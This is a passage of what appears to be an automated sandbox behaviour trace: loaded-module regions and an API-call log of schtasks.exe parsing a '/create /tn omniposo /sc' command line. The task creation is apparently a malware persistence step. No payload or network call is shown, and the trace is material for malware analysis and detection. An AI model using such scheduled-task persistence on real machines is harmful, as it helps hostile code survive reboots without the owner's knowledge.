"advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5007 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5008 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5009 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 5010 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 5011 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5013 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 214 os_tid = 0x978 [0091.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xffca0 | out: lpSystemTimeAsFileTime=0xffca0*(dwLowDateTime=0x5f87f1e0, dwHighDateTime=0x1d9eb0c)) [0091.550] GetCurrentProcessId () returned 0x974 [0091.550] GetCurrentThreadId () returned 0x978 [0091.550] GetTickCount () returned 0x176c3f1 [0091.550] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xffca8 | out: lpPerformanceCount=0xffca8*=2489803305439) returned 1 [0091.550] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0091.550] __set_app_type (_Type=0x1) [0091.550] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0091.551] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0091.551] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0091.552] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0091.552] _onexit (_Func=0xff932afc) returned 0xff932afc [0091.552] _onexit (_Func=0xff932b58) returned 0xff932b58 [0091.552] _onexit (_Func=0xff932b80) returned 0xff932b80 [0091.552] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0091.552] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0091.553] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0091.553] _onexit (_Func=0xff932c20) returned 0xff932c20 [0091.553] _onexit (_Func=0xff932c48) returned 0xff932c48 [0091.553] _onexit (_Func=0xff932c70) returned 0xff932c70 [0091.553] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0091.553] WinSqmIsOptedIn () returned 0x0 [0091.554] GetProcessHeap () returned 0x2d0000 [0091.554] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2e5510 [0091.554] SetLastError (dwErrCode=0x0) [0091.554] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0091.554] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0091.554] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0091.554] VerifyVersionInfoW (in: lpVersionInformation=0xff460, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xff460) returned 1 [0091.554] GetProcessHeap () returned 0x2d0000 [0091.554] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebad0 [0091.554] lstrlenW (lpString="") returned 0 [0091.554] GetProcessHeap () returned 0x2d0000 [0091.554] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x2) returned 0x2ebaf0 [0091.554] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a00 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebb10 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a30 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a60 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a90 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ac0 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebb30 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5af0 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b20 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b50 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b80 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebb50 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5bb0 [0091.555] GetProcessHeap () returned 0x2d0000 [0091.555] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5be0 [0091.556] GetProcessHeap () returned 0x2d0000 [0091.556] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c10 [0091.556] GetProcessHeap () returned 0x2d0000 [0091.556] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c40 [0091.556] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0091.556] SetLastError (dwErrCode=0x0) [0091.556] GetProcessHeap () returned 0x2d0000 [0091.556] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c70 [0091.556] GetProcessHeap () returned 0x2d0000 [0091.556] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ca0 [0091.556] GetProcessHeap () returned 0x2d0000 [0091.556] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5cd0 [0091.556] GetProcessHeap () returned 0x2d0000 [0091.556] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d00 [0091.556] GetProcessHeap () returned 0x2d0000 [0091.556] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d30 [0091.556] GetProcessHeap () returned 0x2d0000 [0091.556] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebb70 [0091.556] _memicmp (_Buf1=0x2ebb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.556] GetProcessHeap () returned 0x2d0000 [0091.556] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x208) returned 0x2ebd10 [0091.557] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ebd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0091.557] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0091.560] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0091.560] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0091.561] GetProcessHeap () returned 0x2d0000 [0091.561] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x74e) returned 0x2ec2e0 [0091.562] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0091.562] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2ec2e0 | out: lpData=0x2ec2e0) returned 1 [0091.562] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0091.562] VerQueryValueW (in: pBlock=0x2ec2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xff548, puLen=0xff5b0 | out: lplpBuffer=0xff548*=0x2ec67c, puLen=0xff5b0) returned 1 [0091.565] _memicmp (_Buf1=0x2ebb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.565] _vsnwprintf (in: _Buffer=0x2ebd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xff528 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0091.565] VerQueryValueW (in: pBlock=0x2ec2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xff5b8, puLen=0xff5a8 | out: lplpBuffer=0xff5b8*=0x2ec4a8, puLen=0xff5a8) returned 1 [0091.565] lstrlenW (lpString="schtasks.exe") returned 12 [0091.565] lstrlenW (lpString="schtasks.exe") returned 12 [0091.565] lstrlenW (lpString=".EXE") returned 4 [0091.565] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0091.567] lstrlenW (lpString="schtasks.exe") returned 12 [0091.567] lstrlenW (lpString=".EXE") returned 4 [0091.567] _memicmp (_Buf1=0x2ebb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.567] lstrlenW (lpString="schtasks") returned 8 [0091.568] GetProcessHeap () returned 0x2d0000 [0091.568] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5e20 [0091.568] GetProcessHeap () returned 0x2d0000 [0091.568] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecbf0 [0091.568] GetProcessHeap () returned 0x2d0000 [0091.568] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc20 [0091.568] GetProcessHeap () returned 0x2d0000 [0091.568] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc50 [0091.568] GetProcessHeap () returned 0x2d0000 [0091.568] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebb90 [0091.568] _memicmp (_Buf1=0x2ebb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.568] GetProcessHeap () returned 0x2d0000 [0091.568] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa0) returned 0x2ec110 [0091.568] GetProcessHeap () returned 0x2d0000 [0091.568] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc80 [0091.568] GetProcessHeap () returned 0x2d0000 [0091.568] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2eccb0 [0091.568] GetProcessHeap () returned 0x2d0000 [0091.568] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecce0 [0091.569] GetProcessHeap () returned 0x2d0000 [0091.569] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebbb0 [0091.569] _memicmp (_Buf1=0x2ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.569] GetProcessHeap () returned 0x2d0000 [0091.569] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x200) returned 0x2ed3c0 [0091.569] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ed3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0091.569] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0091.569] GetProcessHeap () returned 0x2d0000 [0091.569] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x30) returned 0x2e7b90 [0091.569] _vsnwprintf (in: _Buffer=0x2ec110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xff528 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0091.569] GetProcessHeap () returned 0x2d0000 [0091.569] GetProcessHeap () returned 0x2d0000 [0091.569] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec2e0) returned 1 [0091.569] GetProcessHeap () returned 0x2d0000 [0091.569] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec2e0) returned 0x74e [0091.570] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec2e0 | out: hHeap=0x2d0000) returned 1 [0091.570] SetLastError (dwErrCode=0x0) [0091.570] GetThreadLocale () returned 0x409 [0091.570] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.571] lstrlenW (lpString="?") returned 1 [0091.571] GetThreadLocale () returned 0x409 [0091.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.571] lstrlenW (lpString="create") returned 6 [0091.571] GetThreadLocale () returned 0x409 [0091.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.571] lstrlenW (lpString="delete") returned 6 [0091.571] GetThreadLocale () returned 0x409 [0091.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.571] lstrlenW (lpString="query") returned 5 [0091.571] GetThreadLocale () returned 0x409 [0091.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.571] lstrlenW (lpString="change") returned 6 [0091.571] GetThreadLocale () returned 0x409 [0091.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.571] lstrlenW (lpString="run") returned 3 [0091.571] GetThreadLocale () returned 0x409 [0091.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.571] lstrlenW (lpString="end") returned 3 [0091.571] GetThreadLocale () returned 0x409 [0091.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.571] lstrlenW (lpString="showsid") returned 7 [0091.571] GetThreadLocale () returned 0x409 [0091.571] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0091.571] SetLastError (dwErrCode=0x0) [0091.571] SetLastError (dwErrCode=0x0) [0091.571] lstrlenW (lpString="/create") returned 7 [0091.571] lstrlenW (lpString="-/") returned 2 [0091.572] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.572] lstrlenW (lpString="?") returned 1 [0091.572] lstrlenW (lpString="?") returned 1 [0091.572] GetProcessHeap () returned 0x2d0000 [0091.572] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec1c0 [0091.572] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.572] GetProcessHeap () returned 0x2d0000 [0091.572] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ec2e0 [0091.572] lstrlenW (lpString="create") returned 6 [0091.572] GetProcessHeap () returned 0x2d0000 [0091.572] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec300 [0091.572] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.572] GetProcessHeap () returned 0x2d0000 [0091.572] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x14) returned 0x2ec320 [0091.572] _vsnwprintf (in: _Buffer=0x2ec2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|?|") returned 3 [0091.572] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|create|") returned 8 [0091.572] lstrlenW (lpString="|?|") returned 3 [0091.572] lstrlenW (lpString="|create|") returned 8 [0091.572] SetLastError (dwErrCode=0x490) [0091.572] lstrlenW (lpString="create") returned 6 [0091.572] lstrlenW (lpString="create") returned 6 [0091.572] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.572] GetProcessHeap () returned 0x2d0000 [0091.572] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec2e0) returned 1 [0091.572] GetProcessHeap () returned 0x2d0000 [0091.572] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ec2e0, Size=0x14) returned 0x2ec340 [0091.572] lstrlenW (lpString="create") returned 6 [0091.572] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.573] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|create|") returned 8 [0091.573] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|create|") returned 8 [0091.573] lstrlenW (lpString="|create|") returned 8 [0091.573] lstrlenW (lpString="|create|") returned 8 [0091.573] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0091.573] SetLastError (dwErrCode=0x0) [0091.573] SetLastError (dwErrCode=0x0) [0091.573] SetLastError (dwErrCode=0x0) [0091.573] lstrlenW (lpString="/tn") returned 3 [0091.573] lstrlenW (lpString="-/") returned 2 [0091.573] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.573] lstrlenW (lpString="?") returned 1 [0091.573] lstrlenW (lpString="?") returned 1 [0091.573] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.573] lstrlenW (lpString="tn") returned 2 [0091.573] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.573] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|?|") returned 3 [0091.573] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tn|") returned 4 [0091.573] lstrlenW (lpString="|?|") returned 3 [0091.573] lstrlenW (lpString="|tn|") returned 4 [0091.573] SetLastError (dwErrCode=0x490) [0091.573] lstrlenW (lpString="create") returned 6 [0091.573] lstrlenW (lpString="create") returned 6 [0091.573] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.574] lstrlenW (lpString="tn") returned 2 [0091.574] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.574] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|create|") returned 8 [0091.574] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tn|") returned 4 [0091.574] lstrlenW (lpString="|create|") returned 8 [0091.574] lstrlenW (lpString="|tn|") returned 4 [0091.574] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0091.574] SetLastError (dwErrCode=0x490) [0091.574] lstrlenW (lpString="delete") returned 6 [0091.574] lstrlenW (lpString="delete") returned 6 [0091.574] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.574] lstrlenW (lpString="tn") returned 2 [0091.574] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.574] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|delete|") returned 8 [0091.574] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tn|") returned 4 [0091.574] lstrlenW (lpString="|delete|") returned 8 [0091.574] lstrlenW (lpString="|tn|") returned 4 [0091.574] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0091.574] SetLastError (dwErrCode=0x490) [0091.574] lstrlenW (lpString="query") returned 5 [0091.574] lstrlenW (lpString="query") returned 5 [0091.574] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.574] lstrlenW (lpString="tn") returned 2 [0091.574] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.574] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|query|") returned 7 [0091.575] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tn|") returned 4 [0091.575] lstrlenW (lpString="|query|") returned 7 [0091.575] lstrlenW (lpString="|tn|") returned 4 [0091.575] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0091.575] SetLastError (dwErrCode=0x490) [0091.575] lstrlenW (lpString="change") returned 6 [0091.575] lstrlenW (lpString="change") returned 6 [0091.575] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.575] lstrlenW (lpString="tn") returned 2 [0091.575] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.575] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|change|") returned 8 [0091.575] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tn|") returned 4 [0091.575] lstrlenW (lpString="|change|") returned 8 [0091.575] lstrlenW (lpString="|tn|") returned 4 [0091.575] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0091.575] SetLastError (dwErrCode=0x490) [0091.575] lstrlenW (lpString="run") returned 3 [0091.575] lstrlenW (lpString="run") returned 3 [0091.575] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.575] lstrlenW (lpString="tn") returned 2 [0091.575] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.575] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|run|") returned 5 [0091.575] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tn|") returned 4 [0091.575] lstrlenW (lpString="|run|") returned 5 [0091.575] lstrlenW (lpString="|tn|") returned 4 [0091.576] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0091.576] SetLastError (dwErrCode=0x490) [0091.576] lstrlenW (lpString="end") returned 3 [0091.576] lstrlenW (lpString="end") returned 3 [0091.576] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.576] lstrlenW (lpString="tn") returned 2 [0091.576] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.576] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|end|") returned 5 [0091.576] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tn|") returned 4 [0091.576] lstrlenW (lpString="|end|") returned 5 [0091.576] lstrlenW (lpString="|tn|") returned 4 [0091.576] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0091.576] SetLastError (dwErrCode=0x490) [0091.576] lstrlenW (lpString="showsid") returned 7 [0091.576] lstrlenW (lpString="showsid") returned 7 [0091.576] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.576] GetProcessHeap () returned 0x2d0000 [0091.576] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec340) returned 1 [0091.576] GetProcessHeap () returned 0x2d0000 [0091.576] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ec340, Size=0x16) returned 0x2ec340 [0091.577] lstrlenW (lpString="tn") returned 2 [0091.577] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.577] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|showsid|") returned 9 [0091.577] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tn|") returned 4 [0091.577] lstrlenW (lpString="|showsid|") returned 9 [0091.577] lstrlenW (lpString="|tn|") returned 4 [0091.577] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0091.577] SetLastError (dwErrCode=0x490) [0091.577] SetLastError (dwErrCode=0x490) [0091.577] SetLastError (dwErrCode=0x0) [0091.577] lstrlenW (lpString="/tn") returned 3 [0091.577] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0091.577] SetLastError (dwErrCode=0x490) [0091.577] SetLastError (dwErrCode=0x0) [0091.577] lstrlenW (lpString="/tn") returned 3 [0091.577] GetProcessHeap () returned 0x2d0000 [0091.577] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec2e0 [0091.577] GetProcessHeap () returned 0x2d0000 [0091.577] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd10 [0091.577] SetLastError (dwErrCode=0x0) [0091.577] SetLastError (dwErrCode=0x0) [0091.577] lstrlenW (lpString="omniposo") returned 8 [0091.577] lstrlenW (lpString="-/") returned 2 [0091.577] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0091.577] SetLastError (dwErrCode=0x490) [0091.577] SetLastError (dwErrCode=0x490) [0091.577] SetLastError (dwErrCode=0x0) [0091.577] lstrlenW (lpString="omniposo") returned 8 [0091.578] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0091.578] SetLastError (dwErrCode=0x490) [0091.578] SetLastError (dwErrCode=0x0) [0091.578] lstrlenW (lpString="omniposo") returned 8 [0091.578] GetProcessHeap () returned 0x2d0000 [0091.578] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x12) returned 0x2ec370 [0091.578] GetProcessHeap () returned 0x2d0000 [0091.578] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd40 [0091.578] SetLastError (dwErrCode=0x0) [0091.578] SetLastError (dwErrCode=0x0) [0091.578] lstrlenW (lpString="/sc") returned 3 [0091.578] lstrlenW (lpString="-/") returned 2 [0091.578] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.578] lstrlenW (lpString="?") returned 1 [0091.578] lstrlenW (lpString="?") returned 1 [0091.578] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.578] lstrlenW (lpString="sc") returned 2 [0091.578] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.578] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|?|") returned 3 [0091.578] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|sc|") returned 4 [0091.578] 